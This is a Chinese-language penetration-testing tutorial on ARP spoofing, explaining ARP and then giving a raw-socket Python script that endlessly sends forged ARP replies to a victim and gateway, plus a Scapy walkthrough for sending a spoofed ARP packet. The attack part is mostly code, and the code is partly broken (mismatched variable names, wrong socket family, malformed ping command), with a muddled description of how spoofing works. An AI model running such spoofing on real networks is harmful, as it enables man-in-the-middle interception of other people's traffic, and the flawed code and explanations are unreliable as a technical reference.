Python渗透测试-ARP欺骗


ARP可以被定义为无状态协议,其用于将互联网协议(IP)地址映射到物理机器地址。

ARP的工作原理

在本节中,我们将了解 ARP 的工作原理。请考虑以下步骤来了解 ARP 的工作原理 -

  • 步骤 1 - 首先,当一台机器想要与另一台机器通信时,它必须查找其 ARP 表以获取物理地址。

  • 步骤 2 - 如果找到机器的物理地址,则将数据包转换为正确的长度后,将发送到所需的机器

  • 步骤 3 - 但如果在表中没有找到该 IP 地址的条目,则 ARP_request 将通过网络广播。

  • 步骤 4 - 现在,网络上的所有计算机都会将广播的 IP 地址与 MAC 地址进行比较,如果网络中的任何计算机识别到该地址,它将响应 ARP_request 及其 IP 和 MAC 地址。这样的 ARP 消息称为 ARP_reply。

  • 步骤 5 - 最后,发送请求的机器会将地址对存储在其 ARP 表中,整个通信将发生。

什么是 ARP 欺骗?

它可以被定义为一种攻击类型,其中恶意Behave者通过局域网发送伪造的 ARP 请求。ARP 中毒也称为 ARP 欺骗。可以借助以下几点来理解 -

  • 首先,ARP欺骗为了使交换机过载,会构造大量伪造的ARP请求和应答数据包。

  • 然后交换机将被设置为转发模式。

  • 现在,ARP 表将充斥着欺骗性 ARP 响应,以便攻击者能够嗅探所有网络数据包。

使用Python实现

在本节中,我们将了解 ARP 欺骗的 Python 实现。为此,我们需要三个 MAC 地址——第一个是受害者的,第二个是攻击者的,第三个是网关的。除此之外,我们还需要使用ARP协议的代码。

让我们导入所需的模块,如下所示 -

import socket
import struct
import binascii

现在,我们将创建一个套接字,它将具有三个参数。第一个参数告诉我们有关数据包接口的信息(针对 Linux 的 PF_PACKET,针对 Windows 的 AF_INET),第二个参数告诉我们它是否是原始套接字,第三个参数告诉我们我们感兴趣的协议(这里 0x0800 用于 IP协议)。

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

我们现在将提供攻击者、受害者和网关机器的 MAC 地址 -

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

我们需要给出 ARP 协议的代码,如下所示 -

code ='\x08\x06'

两个以太网数据包,一个用于受害机器,另一个用于网关机器,其制作如下 -

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

以下代码行按照 ARP 标头的顺序排列 -

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

现在我们需要提供网关机器和受害机器的 IP 地址(假设网关和受害机器有以下 IP 地址) -

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'

借助socket.inet_aton()方法将上述IP地址转换为十六进制格式。

gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

执行以下代码行更改网关机器的IP地址。

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

在 Kali Linux 上使用 Scapy 实现

ARP欺骗可以在Kali Linux上使用Scapy实现。请按照以下步骤执行相同的操作 -

步骤一:攻击者机器地址

在这一步中,我们将通过在Kali Linux的命令提示符下运行命令ifconfig来查找攻击者机器的IP地址。

步骤2:目标机器地址

在这一步中,我们需要在另一台虚拟机上打开Kali Linux的命令提示符,通过运行命令ifconfig来找到目标机器的IP地址。

步骤 3:Ping 目标机器

在此步骤中,我们需要借助以下命令从攻击者计算机 ping 目标计算机 -

Ping –c 192.168.43.85(say IP address of target machine)

步骤4:目标机器上的ARP缓存

我们已经知道两台机器使用 ARP 数据包来交换 MAC 地址,因此在第 3 步之后,我们可以在目标机器上运行以下命令来查看 ARP 缓存 -

arp -n

第5步:使用Scapy创建ARP数据包

我们可以在 Scapy 的帮助下创建 ARP 数据包,如下所示 -

scapy
arp_packt = ARP()
arp_packt.display()

第6步:使用Scapy发送恶意ARP数据包

我们可以在 Scapy 的帮助下发送恶意 ARP 数据包,如下所示 -

arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)

步骤7:再次检查目标机器上的ARP缓存

现在,如果我们再次检查目标计算机上的 ARP 缓存,那么我们将看到假地址“1.1.1.1”。